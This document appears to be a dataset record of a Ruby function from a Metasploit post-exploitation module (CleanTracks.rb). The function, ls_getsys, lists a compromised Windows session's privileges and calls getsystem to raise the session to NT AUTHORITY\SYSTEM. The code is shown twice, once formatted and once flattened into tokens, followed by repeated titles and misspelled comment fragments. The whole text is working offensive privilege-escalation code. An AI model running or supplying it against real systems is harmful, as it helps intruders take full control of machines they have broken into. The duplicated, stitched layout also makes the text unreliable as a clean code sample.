modules/post/chapter-10/CleanTracks.rb
# -----------------------------------------
# Getting session nt authority/system privs
# -----------------------------------------
Getting session nt authority/system privs
Getting session nt authority / system privs
def ls_getsys
             toor = []
             toor = client.sys.config.getuid
             print_line("")
             print_line("    Session UID: #{toor}")
             print_line("    Elevate session to: nt authority/system")
             print_line("    ------------------------------------------")
             client.sys.config.getprivs.each do |priv|
             print_line("    Impersonate token => #{priv}")
       end
         result = client.priv.getsystem
         if result and result[0]
                csuid = []
                csuid = client.sys.config.getuid
                print_line("    ------------------------------------------")
                print_line("    Current Session UID: #{csuid}")
                print_line("")
      else
      print_error(" Fail to obtain [nt authority/system] access!")
      print_error(" Please manually run: getsystem to gain system privs!")
      end
 end
def ls_getsys toor = [ ] toor = client . sys . config . getuid print_line ( "" ) print_line ( "    Session UID: #{toor}" ) print_line ( "    Elevate session to: nt authority/system" ) print_line ( "    ------------------------------------------" ) client . sys . config . getprivs . each do | priv | print_line ( "    Impersonate token => #{priv}" ) end result = client . priv . getsystem if result and result [ 0 ] csuid = [ ] csuid = client . sys . config . getuid print_line ( "    ------------------------------------------" ) print_line ( "    Current Session UID: #{csuid}" ) print_line ( "" ) else print_error ( " Fail to obtain [nt authority/system] access!" ) print_error ( " Please manually run: getsystem to gain system privs!" ) end end
Getting session nt authority/system privs
Getting session nt authority / system privs
# variable API declarations # getprivs API call loop funtion # checking results (if_system) # print results on screen if successefully executed # error display in executing command